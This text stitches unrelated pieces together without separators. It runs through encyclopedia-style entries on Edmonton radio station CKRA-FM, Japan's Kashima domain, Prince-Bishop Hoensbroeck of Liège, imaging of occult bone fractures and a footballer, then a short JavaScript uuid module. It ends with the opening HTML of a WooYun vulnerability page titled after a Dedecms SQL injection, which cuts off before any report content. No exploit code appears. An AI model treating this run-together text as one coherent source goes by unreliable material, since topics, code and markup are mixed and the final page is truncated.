CKRA-FM (96.3 FM, 96.3 The Breeze) is a radio station in Edmonton, Alberta. Owned by Stingray Radio, it broadcasts a soft adult contemporary format. CKRA's studios are located inside the West Edmonton Mall, alongside its metropolitan sister stations CIRK-FM, CFCW, and CKJR, while its transmitter is located at Ellerslie Road and Provincial Highway 21, just southeast of Edmonton's city limits. As of February 2021, CKRA is the most-listened-to radio station in the Edmonton market according to a PPM data report released by Numeris. History On April 17, 1979, CFCW Limited, owner of CFCW in Camrose, received approval to operate a new FM station in Edmonton. There were ten other applicants for the new license, including CHUM Limited, Radio Station CHED Ltd., CHQT Broadcasting Ltd., The Voice of the Prairies Ltd. (owners of CFCN in Calgary), and Roger Charest. On November 15, 1979, CKRA signed on with an album rock format. By the mid-1980s, CKRA shifted to adult contemporary under the 96 K-Lite FM moniker. In 1989, CFCW Limited sold the station to current owners Newcap Radio. On January 13, 1995, the station adopted the name Mix 96, and shifted to a hot adult contemporary format. Several name and content changes occurred in 2002 and 2003. In the summer of 2002, CKRA adjusted its name to 96.3 The Mix and incorporated more contemporary music into its playlist. During this time, the station opened a satellite "weekend" location on Edmonton's trendy Whyte Avenue. Local (former) A-Channel entertainment host, Shannon Tyler, was hired to co-host the morning radio show with B.J. Wilson. In February 2003, CKRA once again re-branded as 96X, "the hit music alternative" and retained its hot AC format, leaving R&B and hip-hop out of its playlist. Ryan Waters joined the new morning show, working with Wilson and Tyler then hosting solo for 90 minutes of commercial free music. Mike Anderson (middays), Tim Riess (drive time) and Carly Kincaid (evenings) rounded out the air staff. Several on-air changes followed, including Anderson leaving Middays and focusing on M.D. duties. Riess hosted several dayparts, Waters returned to his former position as "Swing Announcer" and Chris Kuchar held down "Afternoon Drive" before returning to sister station 97.3 K-Rock. Following the transition of Power 92 to the hot AC formatted Power 92.5 in June 2003, the station shifted to CHR/Top 40 and adopted the slogan "Edmonton's Only Hit Music Station", which (after Power 92 changed to adult hits) changed to "Edmonton's #1 Hit Music Station". During this time, 96X moved its Whyte Avenue studio to a booth in Hudson's Canadian Tap House from where it began broadcasting during the evenings and on weekends. The station also began weekly broadcasts on Saturday nights from The Standard nightclub. 96X hoped to duplicate the success of Power 92, who targeted the younger demographics through "Power Parties" and would regularly broadcast from different clubs around Edmonton. Long-term success was not to be as 96X enjoyed one average and one top 6 rating result, the latter being the highest market share reached to date. At the time, Wilson and Tyler hosted the morning show, Carley Kincaid entertained middays, Tim Riess sat in the chair for PM drive, and Adam McKale was the evening DJ. 96X's popularity among younger listeners was bolstered by Power's flip to 92.5 Joe FM, which aired a variety hits format. In the fall of 2005, 96X's main studio moved from its old location in a 99th Street strip mall to a new facility in Phase 4 of the West Edmonton Mall along with Newcap Broadcasting's other stations. However, the entry of CHBN-FM in February 2005 and CHDI-FM in April 2005 spelled disaster for 96X, whose market quickly dispersed over the upcoming months. In response, 96X segued to rhythmic hot AC, which was unsuccessful in regaining listeners. On December 12, 2005, the station flipped to mainstream country as Big Earl 96.3 (pronounced as "96 dot 3"); the new format served as a companion to its classic country sister station CFCW, in an effort to compete with the market-leading CISN-FM. However, Big Earl was unsuccessful, and CKRA flipped to classic hits as 96.3 Capital FM on March 28, 2008. Although the change came shortly after oldies station CHQT announced that it would relaunch as a news station that May, the station's manager remarked that they had "lucky" timing, and denied that Capital was a direct response. On December 26, 2018, CKRA flipped to soft adult contemporary as 96.3 The Breeze, along with sister station CHLG-FM in Vancouver. In April 2021, as part of a restructuring by Stingray, the station dropped its local morning show in favour of The Morning Breeze from sister station CKUL-FM in Halifax, which uses a mix of national and localized segments. References External links KRA-FM Kra Kra Radio stations established in 1979 1979 establishments in Alberta
was a Japanese domain of the Edo period. It is associated with Hizen Province in modern-day Saga Prefecture. In the han system, Kashima was a political and economic abstraction based on periodic cadastral surveys and projected agricultural yields. In other words, the domain was defined in terms of kokudaka, not land area. This was different from the feudalism of the West. History Kashima domain was originally a sub-domain of the Saga Domain, founded in 1610 for Nabeshima Tadashige, the younger brother of the first daimyō of Saga Domain, Nabeshima Katsushige. Tadashige already had holdings of 5000 koku in what is now part of Katori District, Chiba, so the additional 20,000 koku from his brother made his total revenues 25,000 koku. Tadashige’s son Nabeshima Masashige became second daimyō of Kashima; however, Masashige was dispossessed in 1642 when Kashima domain was given by Nabeshige Katsushige to his own 9th son, Nabeshima Naotomo. Masashige was allowed to keep his father’s original 5000 koku holdings, and was reduced to the status of hatamoto. Naotomo’s line continued to rule Kashima until the Meiji Restoration, and was subject to the same sankin-kōtai regulations as other domains. However, Kashima was not allowed to build a proper castle, but instead only had a fortified house (jin'ya). After the abolition of the han system in 1871, the former final daimyō, Nabeshima Naoyoshi became a viscount (shishaku) under the kazoku peerage, and Kashima domain was absorbed into the new Saga Prefecture. List of daimyōs The hereditary daimyōs were head of the clan and head of the domain. Nabeshima clan, 1635–1868 (tozama; 20,000 koku) {| class=wikitable ! ||Name || Tenure || Courtesy title || Court Rank || Revenue |- ||1||||1609–1624||Izumi-no-kami || Lower 5th (従五位下) ||25,000 koku |- ||2||||1624–1642|| || 6th (従五位下) ||25,000 koku |- ||3||||1642–1672||Izumi-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||4||||1672–1705||Bizen-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||5||||1705–1727||Izumi-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||6||||1728–1763||Bizen-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||7||||1763–1770||Izumi-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||8||||1770–1801||Bizen-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||9||||1800–1820||Tanba-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||10||||1820–1839||Tanba-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||11||||1839|| none || none ||20,000 koku |- ||12||||1840–1848||Bizen-no-kami || Lower 5th (従五位下) ||20,000 koku |- ||13||||1848–1871||Bizen-no-kami || Lower 5th (従五位下) ||20,000 koku |- |} Geography The area of the han was roughly equivalent to modern-day city of Kashima in Saga Prefecture. See also List of Han Abolition of the han system References External links "Kashima" at Edo 300 Domains of Japan
César-Constantin-François de Hoensbroeck or Hoensbroech (28 August 1724 – 3 June 1792) was a German ecclesiastic of the Van Hoensbroeck family, most notable as prince-bishop of Liège from 1784 to 1792, in which post he was nicknamed the "red executioner" (bourreau roux). Life The son of Ulric Antoine de Hoensbroeck (whose family originated in the village of Hoensbroeck, now in Dutch Limburg), he studied at Heidelberg and became a canon in the cathedral chapter of Aachen Cathedral before becoming prince-bishop of Liège in 1784, succeeding François-Charles de Velbrück, whose progressive reforms he tried to undo. Hoensbroeck reestablished all the privileges of the clergy and nobility, sharing none of the third estate's liberal aspirations and showing little sympathy with the misery of the prince-bishopric's people. This all made him most unpopular, with the inhabitants of the bishopric nicknaming him the "tyrant of Seraing", after the prince bishops' summer palace. His popularity continued to plummet until a mob came to try to take him from Seraing to the Prince-Bishops' Palace in Liège itself, an act that started the Liège Revolution. On 13 September 1790 he fled into Germany before being restored to his episcopal throne by Austrian troops on 13 February 1791. On his death he was succeeded by his nephew François de Méan, who was also unsympathetic to the French Revolution. References 1724 births 1792 deaths Prince-Bishops of Liège People of the Liège Revolution People from Eijsden-Margraten Roman Catholic priests of the Austrian Netherlands
An occult fracture is a fracture that is not readily visible, generally in regard to projectional radiography ("X-ray"). Radiographically, occult and subtle fractures are a diagnostic challenge. They may be divided into 1) high energy trauma fracture, 2) fatigue fracture from cyclical and sustained mechanical stress, and 3) insufficiency fracture occurring in weakened bone (e.g., in osteoporosis and postradiotherapy). Independently of the cause, the initial radiographic examination can be negative either because the findings seem normal or are too subtle. Advanced imaging tools such as computed tomography, magnetic resonance imaging (MRI), and scintigraphy are highly valuable in the early detection of these fractures. Fractures represent up to 80% of the missed diagnoses in the emergency department. Failure to recognize the subtle signs of osseous injury is one of the reasons behind this major diagnostic challenge. While occult fractures present no radiographic findings, radiographically subtle fractures are easily overlooked on initial radiographs. In both cases, a negative radiographic diagnosis with prominent clinical suspicion of osseous injury will prompt advanced imaging examination such as CT scan, magnetic resonance imaging, ultrasound, and nuclear medicine to confirm or exclude the clinically suspected diagnosis. The burden entailed in missing these fractures includes prolonged pain with a loss of function, and disability. Early detection, on the other hand, enables more effective treatment, a shorter hospitalization period if necessary, and decreased medical costs in the long run. It will also prevent inherent complications such as nonunion, malunion, premature osteoarthritis, and avascular osteonecrosis (as in scaphoid fracture). Of the three types of occult fractures mentioned above, the latter two, fatigue fracture secondary to repetitive and unusual stress being applied to bone with normal elastic resistance, and insufficiency fracture resulting from normal or minimal stress on a bone with decreased elastic resistance are also described as "stress fractures". These fractures are often a challenging diagnostic problem in daily clinical practice. Radiologists should be aware of the different situations and mechanisms of these injuries as well as the subtle radiographic signs that can be encountered in each situation. The knowledge of normal images and the consideration of the clinical context are of great value in improving the detection of these fractures either on conventional radiographs or with more advanced imaging tools. Imaging tools Thanks to rapid technological advancement, new and more efficient imaging hardware is constantly released for all imaging modalities including CT, MRI, nuclear medicine, and ultrasound. Projectional radiography Radiography is the first step for detection of fractures. The detection of subtle signs of fracture requires a high standard for the acquisition technique and a thorough and systematic interpretation of radiographic images. Correct diagnosis primarily relies on the reader's experience. Awareness of normal anatomic features is crucial for the interpreter to be able to detect subtle signs of fracture. Fat pads should be carefully examined for convexity, which implies joint effusion (e.g., in the hip and elbow). However, the radiographic technique (positioning in particular) must be optimal for this evaluation to be valid. Osseous lines should be checked for integrity (e.g., acetabular rim in the hip). Trabecular angulation, impaction lines, and sclerotic bands also suggest fracture in osseous structures with a significant proportion of cancellous bone such as proximal femur. The general rule is to perform two orthogonal views, but more specific views should be added if there is any suspicion of fracture. Moreover, one should be aware of the commonly encountered lesions and their locations. In wrist trauma, for instance, the interpreter should pay close attention to the scaphoid and triquetrum, which are the two most commonly injured carpal bones. The mechanism of trauma may also be helpful to locate the potential fracture. A fall on an outstretched hand suggests scaphoid fracture. Although the classical presentation consists of a radiolucent line and cortical disruption, the radiographic signs will depend upon the time elapsed between the first clinical symptoms and the time of radiographic examination, the location of the fracture within the bone, and the ratio of cortical to cancellous bone. Particular attention should be paid when analysing the subchondral plate, which may be disrupted or deformed. In metaphyseal areas, delayed signs of fracture include a band of sclerosis perpendicular to the trabeculae, while diaphyseal fractures may present as periosteal thickening. Digital radiography known as tomosynthesis has been shown to be superior to conventional radiographs in the detection of occult fracture of the scaphoid. Tomosynthesis has the ability to demonstrate cortical, as well as moderately displaced trabecular fractures. Thus, the performance of tomosynthesis in detecting radiographically occult fractures is considered as comparable to CT. Computed Tomography Multidetector computed tomography (MDCT) is a highly valuable imaging tool for the diagnosis of occult fractures. CT has several advantages including short acquisition time (compared to MRI), the ability to acquire volumetric and isotropic image data sets, the opportunity to reconstruct multiplanar reformations in any arbitrary plane, and excellent spatial resolution. Moreover, the image quality for multiplanar reconstruction may be increased by reducing slice thickness and acquisition pitch. In general, bony structures are best demonstrated by using a small focal spot and using a "bone" algorithm. CT contributes much to the diagnosis of occult fractures by depicting subtle fracture lines, depressed, or distracted articular surfaces and by assessing bone loss It also detects late bony changes such as increased medullary density, endosteal sclerosis, sclerotic lines in trabecular bone, and periosteal thickening. Moreover, CT aids in excluding other differential diagnoses, especially in case of isolated bone marrow edema, by confirming the normal appearance of the remaining trabeculae and excluding space-occupying lesions such as malignancy and osteomyelitis. Newest generation of CT, such as dedicated cone-beam CT (CBCT) system for musculoskeletal extremities, may be beneficial in various conditions, such as arthritis and occult fractures. Although dedicated CBCT for musculoskeletal extremities is still a matter of research, it has been shown to be of potential benefit as an adjunct for CT and MRI. It offers the possibility of volumetric imaging, which may be helpful in case of suspected occult fractures. It also provides higher spatial resolution and a potentially reduced dose compared to CT. Magnetic resonance imaging The diagnostic performance of MRI in the detection of occult fractures has been shown to be comparable, or better than MDCT. Indeed, while the specificity of both CT and MRI for the diagnosis of fracture can be as high as 100%, the sensitivity was reported to be higher for MRI. The superiority of MRI over any other imaging modality including MDCT for the detection of occult hip fractures is now recognised. For instance, an occult intertrochanteric extension of a greater trochanter fracture can be most effectively appreciated on MRI Moreover, MRI is extremely helpful in detecting associated soft tissue abnormalities, especially ligamentous lesions. MRI is now considered as the standard in this context. However, because of its relative unavailability in emergency settings and high costs, MRI may only be performed in "high risk patients" with negative X-rays. For example, when a hip occult fracture is suspected, patients with reduced baseline mobility and pain on axial compression are considered at risk and, therefore, should be examined by MRI. MRI signs of occult fractures are evident several weeks before radiographic signs appear. In the hip, a limited and cost-effective MR protocol, with only T1 weighted () coronal images, may enable a reliable diagnosis or exclusion of occult fracture in very little time, for example, 7 minutes. Typically, a linear hypointensity is observed on T1 W images. MRI is also highly sensitive to marrow abnormalities surrounding the fracture line, which appear as hypointensity on T1 W images and hyperintensity on fluid-sensitive sequences. Such signal changes are thought to be a combination of bone marrow edema, intraosseous haemorrhage, and/or granulation tissue and help to identify even undisplaced fractures. However, in the absence of a history of trauma and linear hypointensities on T1 W images, isolated bone marrow edema may represent other pathologies such as osteoid osteoma and sclerosing osteomyelitis. Although 1.5 T and 3 T MR is considered as the current gold standard for the detection of radiographically occult fractures, ultra-high field MR provide higher signal-to-noise ratio and, therefore, is expected to be superior to 1.5 T and 3 T. Ultra-high field MR seems to be promising in the diagnosis of a variety of musculoskeletal conditions including trauma, but it is not used in daily routine yet. Nuclear medicine The most traditional method is bone scintigraphy. Although scintigraphy is highly sensitive for the detection of occult fracture, its lack of specificity limits its diagnostic utility. However, when MRI is not available, scintigraphy may be of value, especially in the absence of trauma history, for example, for detection of insufficiency and fatigue fractures. While radiography may show only late signs of bone reaction (such as periosteal thickening and band of sclerosis), scintigraphic examination allows for earlier detection of bony changes. Regarding Fluorine-18 2-deoxy-D-glucose (FDG) positron emission tomography (PET), it is critical to be aware that occult fractures may be responsible of marked metabolic uptake, and, thus, represent a potential false positive of metastatic disease. Integrated hybrid single-photon emission computerized tomography (SPECT)/CT combines the detection of abnormal bone metabolism with SPECT, to the precise anatomical detail provided by high resolution CT. For instance, SPECT/CT may be interesting in the detection of radiographic occult fractures of the wrist and other sport-related injuries. Ultrasonography High frequency ultrasound has been shown to be of value, particularly in the pediatric population. In this case, and in an emergency setting, ultrasonography can be more accessible and less time-consuming than radiographs and has high specificity and sensitivity in the evaluation of suspected long bone fractures. The utility of ultrasonography has also been shown for adults with suspicion of wrist trauma or fatigue/stress fracture. Recently, it has been suggested that therapeutic ultrasound may be beneficial as a primary evaluation of bone stress injury; however, its benefit seems to be more evident in selected high-risk patients rather than general population. High-energy trauma fractures Occult osseous injuries may result from a direct blow to the bone by compressive forces of adjacent bones against one another or by traction forces during an avulsion injury. Lesions in the tibial plateau, hip, ankle, and wrist are often missed. In a tibial plateau fracture, any disruption of the posterior and anterior cortical rims of the plateau should be sought. Impaction of subchondral bone will appear as an increased sclerosis of the subchondral bone (Figure 1). In the hip, posterior acetabular fractures also present subtle radiographic findings. The acetabular lines should then be carefully examined keeping in mind that the posterior rim, which is harder to see on X-rays, is more frequently fractured than the anterior rim (Figure 2). In the wrist, detection of carpal bone fractures is often challenging, with up to 18% of scaphoid fractures radiographically occult. Carpal fractures, especially the scaphoid, are associated with the risk of avascular necrosis. In apparently normal wrist radiographs from symptomatic patients, if there is history of a fall on an outstretched hand with pain in the anatomic snuffbox, suggesting scaphoid injury, the initial examination with posteroanterior, lateral, and pronation oblique views must be complemented by other specific views such as supination oblique and the "scaphoid" view A careful examination of cortices for evidence of discontinuity or offset and cancellous bone for lucency is necessary (Figure 3). Figure 1: A 56-year-old woman presenting with left knee pain after a fall. (a) Initial anteroposterior radiograph was considered normal, however, subtle cortical disruption of the anterior rim of the medial tibial plateau, medial to the tibial spine, is noted (arrow). (b) Coronal T1-weighted MRI confirms the cortical disruption (arrow) and shows extensive fracture through the proximal tibia. (c) Coronal proton density-weighted image with fat saturation shows extensive edema in the subchondral bone. Note also hypersignal adjacent to the medial collateral ligament corresponding to a grade I sprain (arrowheads). Figure 3: A 26-year-old man presenting with wrist pain after being assaulted. (a) Initial anteroposterior radiograph shows a subtle linear lucency within the scaphoid extending to the scaphocapitate articular surface that was overlooked (arrow). (b) Initial "scaphoid" view was negative. (c) Followup anteroposterior radiographs, 12 days later, shows obvious scaphoid fracture (arrows). Triquetral fracture usually occurs on the dorsal aspect by impingement from the ulnar styloid or avulsion of strong ligamentous attachment. The dorsal avulsion fracture or "chip fracture" appears as a small bony fragment on the dorsal aspect of the triquetrum and is best detected on the lateral view(Figure 4). When radiography is negative in patients with high suspicion of a fracture, both MRI and MDCT will be of value. However, it has been shown that MRI is superior for detecting trabecular fractures in carpal bones. Figure 4: Dorsal triquetral fracture of the left wrist in a 30-year-old man after a trauma. (a) Anteroposterior radiograph shows a normal appearance. (b) Lateral radiograph of the same wrist demonstrates a chip fracture off the dorsal aspect of the triquetrum (arrow). The greater tuberosity of the humerus is also an illustrative location of occult fractures. The osseous injury may follow seizures, glenohumeral dislocation, forced abduction, or direct impaction. They are commonly discovered on MRI in symptomatic patients with suspicion of rotator cuff tear. Coronal images are best suited for detection. They appear as crescentic oblique lines surrounded by a bone marrow edema pattern (Figure 5). The rotator cuff must be inspected since associated ligamentous lesions are common. In the ankle, malleoli and tarsal bones should be checked carefully for any cortical disruptions and radiolucent lines that may reveal a fracture. Awareness of the exact location of the pain will help direct the attention of the interpreter when searching for very subtle signs of fracture (Figure 6). Figure 6: Subtle anterior talar fracture in a 39-year-old man presenting with ankle pain after a fall. (a) Anteroposterior radiograph shows a subtle oblique radiolucent line through the talus (white arrows). (b) Sagittal CT reformation confirms the presence of an anterior talar fracture with cortical offset (black arrow). Avulsion fractures, which consist of a detached bone fragment resulting from a ligament or tendon pulling away from the bone, may also present with subtle radiographic signs. Tiny osseous fragments near the presumed attachment site of a ligament suggest this diagnosis. Common sites are the lateral tibial plateau (the Segond fracture), the spinal tuberosity of the tibia resulting from anterior cruciate ligament avulsion, and the ischial tuberosity. Fatigue fractures Fatigue fractures occur when healthy bone is exposed to repeated stress. The bone is a living tissue, with the capacity to repair itself; fatigue fractures occur when repetitive injuries exceed the repair capacity of the bone. This type of fracture does not occur as a single event but rather incrementally as a sequence of cellular events that begin with increased osteoclastic activity. Microfractures occur later and are accompanied by bone marrow edema, which can be detected on MRI. This stage appears on MRI as an isolated bone marrow edema pattern without a fracture line and is called stress reaction. Then, periosteal new bone forms and may be visible on radiography. Full cortical fractures occur if the repetitive stress continues. Only timely detection and appropriate management can interrupt this sequence. Fatigue fractures are more frequent in women which may be due to the relatively smaller bones of women. Moreover, pregnancy is a well-recognized risk factor for femoral neck fatigue fracture. While fibular and metatarsal fractures have a low risk of complications, other sites including the femoral neck, midanterior tibia, navicular, talar, and other intraarticular fractures are prone to complications such as delayed union, nonunion, and displacement. The site of the insufficiency fracture may be specific to the activity: for example, rugby and basketball players are more prone to navicular fractures, while gymnasts have a higher risk for talar fractures (Figure 7). Long distance runners are at increased risk for pelvic, tibial (Figures 8 and 9), and fibular fractures. In the military, calcaneus (Figure 10) and metatarsals are the most commonly cited injuries, especially in new recruits. Billiard players are at risk for upper limb fractures (Figure 11). Figure 7: Fatigue fracture of the talus in a 25-year-old male basketball player with right hind foot and ankle pain, without history of trauma, and a normal initial radiograph (not shown). (a) One-month followup lateral radiograph shows normal appearance. (b) Sagittal T1-weighted MRI shows an irregular fracture line (arrow) within an ill-defined area of hypointensity corresponding to bone marrow edema. Figure 8: Proximal diaphyseal fatigue fracture of the tibia in a 20-year-old man with a history of regular jogging. (a) Lateral radiograph shows no obvious fracture lines but a subtle localized medial tibial cortex periosteal reaction (arrows). (b) Sagittal reformatted CT image acquired 1-month after the radiograph shows a linear hypoattenuation in the tibial cortex (arrowhead), as well as obvious periosteal thickening (arrows). (c) Sagittal T2-weighted fat-saturated image acquired the same day shows an area of hyperintensity spreading over the proximal tibia (arrows), which is consistent with the presence of proximal tibial fracture. Figure 9: Proximal metaphyseal fatigue fracture of the tibia in a 27-year-old recent male military recruit. (a) Anteroposterior radiograph is within normal limits. (b) Coronal T1-weighted MR image shows a marked linear hypoattenuation along the medial tibial metaphysis (arrow) surrounded by diffuse hypointensity in keeping with posttraumatic edema. Figure 10: Calcaneal fatigue fracture in a 30-year-old male runner. Radiographs were normal (not shown). (a) Sagittal T1-weighted and (b) short tau inversion recovery images show a linear hypointensity (arrows) of calcaneal tuberosity within diffuse bone marrow edema, which appears as an ill-defined area of hyperintensity on a fluid sensitive pulse sequence (arrowheads). Figure 11: Stress fracture of the right radius in a 40-year-old man, a semiprofessional billiard player, with no history of trauma and complaining of pain of the right forearm for one month. (a) Anteroposterior radiograph shows medial radial cortex periosteal reaction (arrow) but no fracture line is seen. (b) Coronal reformatted CT depicts monocortical fracture line through the periosteal thickening (arrowheads). (c) Coronal T2-weighted fat-suppressed MRI shows intramedullary hyperintensity within the bone marrow (arrow) corresponding to bone marrow edema. Radiographic examination usually shows delayed signs of fracture up to 2 to 3 months after initial injury. In a bony region with a high proportion of cancellous bone (e.g., femoral neck), a fatigue fracture appears as an ill-defined transverse sclerotic band (in contact or close to the medial cortex), with a periosteal thickening appearing at a later stage. In case of continued stress, a fracture line through the thickened cortex and a region of sclerosis may be observed. MRI is of great value for early diagnosis and displaying bone marrow edema, while scintigraphy is useful for showing increased metabolic activity within the bone. However, MRI is preferred since scintigraphy lacks specificity. In case of isolated bone marrow edema in MRI without a fracture line, the diagnosis of fatigue fracture may be more complicated, and other conditions such as transient edema and osteoid osteoma need to be excluded. Additional imaging by CT is warranted in such cases. Insufficiency fractures Insufficiency fractures occur in weakened bones. Although osteoporosis is a classic cause, other conditions resulting in bone demineralization are well-recognized risk factors. These include previous radiation therapy and chemotherapy, especially in a context of gynaecologic malignancy, chronic renal failure, chronic rheumatological diseases, and corticosteroid therapy. In long bones, chronic joint diseases such as rheumatoid arthritis are associated with angular deformity and flexion contraction, increasing the stress on the bone around the joints and, therefore, the risk of insufficiency fracture. Pelvic, sacral, and proximal femoral fractures are of increasing significance especially with the aging of the population. The sacrum is usually masked by overlapping bowel gas in conventional radiographs, and the subtle radiographic findings are usually nondiagnostic and even misleading. The characteristic "H" pattern has been correlated with biomechanical models of patient activities. The vertical parasagittal planes correspond to the region of maximal stress during walking, while the horizontal fracture develops later, secondary to the loss of lateral support by parasagittal fractures. MRI is the primary imaging technique in this case, with the most common MRI pattern showing bone marrow edema and a fracture line (Figure 12). Coronal views are quite contributive in sacral fractures, allowing the detection of the horizontal component, especially with fluid-sensitive sequences. Although the sacrum is the most commonly involved, pelvic insufficiency fractures are often multiple, and other typical locations should be mentioned. Proximal femoral fractures usually occur in osteoporotic patients, and their signs include subtle neck angulation, trabecular angulation, and subcapital impaction line. A frog-leg lateral view may be helpful if the greater trochanter is short enough. However, positioning can be difficult because of hip pain. In patients with strong suspicion of proximal femoral fracture and negative radiographs, MRI limited to coronal T1 W images and scintigraphy can be highly valuable (Figures 13 and 14). Such an option, with limited examination time, is cost-effective and allows reliable exclusion or confirmation of the diagnosis, preventing an unnecessary stay at the hospital or delayed treatment. Moreover, MRI helps to detect soft tissue abnormalities which are more frequently seen in femoral, acetabular, and pubic injuries than sacral lesions. Concomitant fractures are also frequently seen in typical pelvic sites. Figure 13: Partial osseous avulsion of the gluteal muscles at the greater trochanter in a 59-year-old man who presented with the right hip pain without a history of trauma. Lauenstein view and anteroposterior and radiographs (not shown) did not show an obvious fracture line or disruption of bony contours in the acetabulum or the right femoral neck. (a) Coronal T1-weighted MRI displays an incomplete fracture line extending partially from the greater trochanter (arrow). (b) Coronal short tau inversion recovery MRI shows heterogeneous hyperintensity in the same region (arrow) as well as hyperintensity within the gluteus medius and minimus muscles (arrowheads) consistent with tissue edema and hematoma. Figure 14: Subcapital insufficiency fracture in a 55-year-old man with a left hip pain without a history of trauma. Anteroposterior and Lauenstein view radiographs centered on the left hip do not show an obvious fracture line, but mild acetabular osteophytosis was noted consistent with hip osteoarthritis (not shown). (a) Coronal T1-weighted MRI shows a linear low-signal band through the femoral neck corresponding to a fracture line (arrowheads). (b) Bone scintigraphy shows focal uptake (arrow) corresponding to the fracture. References Bone fractures Acute pain
Laurie Kaine (born 24 February 1952) is a former Australian rules footballer who played with Collingwood in the Victorian Football League (VFL). Notes External links 1952 births Australian rules footballers from Victoria (state) Collingwood Football Club players Coleraine Football Club players Living people
```javascript var v1 = require('./v1'); var v4 = require('./v4'); var uuid = v4; uuid.v1 = v1; uuid.v4 = v4; module.exports = uuid; ```
```html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "path_to_url"> <html xmlns="path_to_url"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta http-equiv="x-ua-compatible" content="ie=7"/> <title> Dedecms 8() | WooYun-2014-48913 | WooYun.org </title> <meta name="author" content="80sec"/> <meta name="copyright" content="path_to_url"/> <meta name="keywords" content="Dedecms,Matt,SQL,wooyun,,web,,,,,"/> <meta name="description" content="Dedecms 8() |WooYun,,,"/> <link rel="icon" href="path_to_url" sizes="32x32" /> <link href="../css/style.css?v=201501291909" rel="stylesheet" type="text/css"/> <script src="path_to_url" type="text/javascript"></script> </head> <body id="bugDetail"> <style> #myBugListTab { position:relative; display:inline; border:none } #myBugList { position:absolute; display:none; margin-left:309px; * margin-left:-60px; * margin-top:18px ; border:#c0c0c0 1px solid; padding:2px 7px; background:#FFF } #myBugList li { text-align:left } </style> <script type="text/javascript"> $(document).ready(function(){ if ( $("#__cz_push_d_object_box__") ) { $("script[src^='path_to_url").attr("src"," ").remove(); $("#__cz_push_d_object_box__").empty().remove(); $("a[id^='__czUnion_a']").attr("href","#").remove(); } if ( $("#ooDiv") ) { $("#ooDiv").empty().parent("div").remove(); } $("#myBugListTab").toggle( function(){ $("#myBugList").css("display","block"); }, function(){ $("#myBugList").css("display","none"); } ); if ( $(window).scrollTop() > 120 ) { $("#back-to-top").fadeIn(300); } else { $("#back-to-top").fadeOut(300); } $(window).scroll(function(){ if ( $(window).scrollTop() > 120 ) { $("#back-to-top").fadeIn(300); } else { $("#back-to-top").fadeOut(300); } }); $("#back-to-top a").click(function() { $('body,html').animate({scrollTop:0},300); return false; }); $("#go-to-comment a").click(function() { var t = $("#replys").offset().top - 52; $('body,html').animate({scrollTop:t},300); return false; }); }); function gofeedback(){ var bugid=$("#fbid").val(); if(bugid){ var url="/feedback.php?bugid="+bugid; }else{ var url="/feedback.php" } window.open(url); } </script> <div class="go-to-wrapper"> <ul class="go-to"> <li id="go-to-comment" title=""><a href="wooyun-2014-048913#"></a></li> <li id="go-to-feedback" title=""><a href="javascript:void(0)" onclick="gofeedback()"></a></li> <li id="back-to-top" title=""><a href="wooyun-2014-048913#"></a></li> </ul> </div> <div class="banner"> <div class="logo"> <h1>WooYun.org</h1> <div class="weibo"><iframe width="136" height="24" frameborder="0" allowtransparency="true" marginwidth="0" marginheight="0" scrolling="no" border="0" src="path_to_url"></iframe> </div> <div class="wxewm"> <a class="ewmthumb" href="javascript:void(0)"><span><img src="path_to_url"width="220" border="0"></span><img src="path_to_url"width="22" border="0"></a> </div> </div> <div class="login"> <a href="path_to_url"></a> | <a href="path_to_url" class="reg"></a> </div> </div> <div class="nav" id="nav_sc"> <ul> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li><a href="path_to_url"></a></li> <li class="new"><a href="path_to_url"></a></li> <!--li><a href="/corp_actions"></a></li--> <!--<li><a target='_blank' href="path_to_url"></a></li>--> <li><a href="path_to_url" target="_blank" style="color:rgb(246,172,110);font-size:14px;font-weight:blod"></a></li> <!--li><a href="/job/"></a></li--> <li><a href="path_to_url" target="_blank"></a></li> <li><a href="path_to_url" target="_blank"></a></li> <li><a href="path_to_url"></a></li> </ul> <form action="path_to_url" method="post" id="searchbox"> <input type="text" name="q" id="search_input" /> <input type="submit" value="" id="search_button" /> </form> </div> <div class="bread" style="padding-top: 4px;"> <div style="float:left"><a href="path_to_url">WooYun</a> >> <a href="wooyun-2014-048913#"></a></div> </div> <script language="javascript"> var _LANGJS = 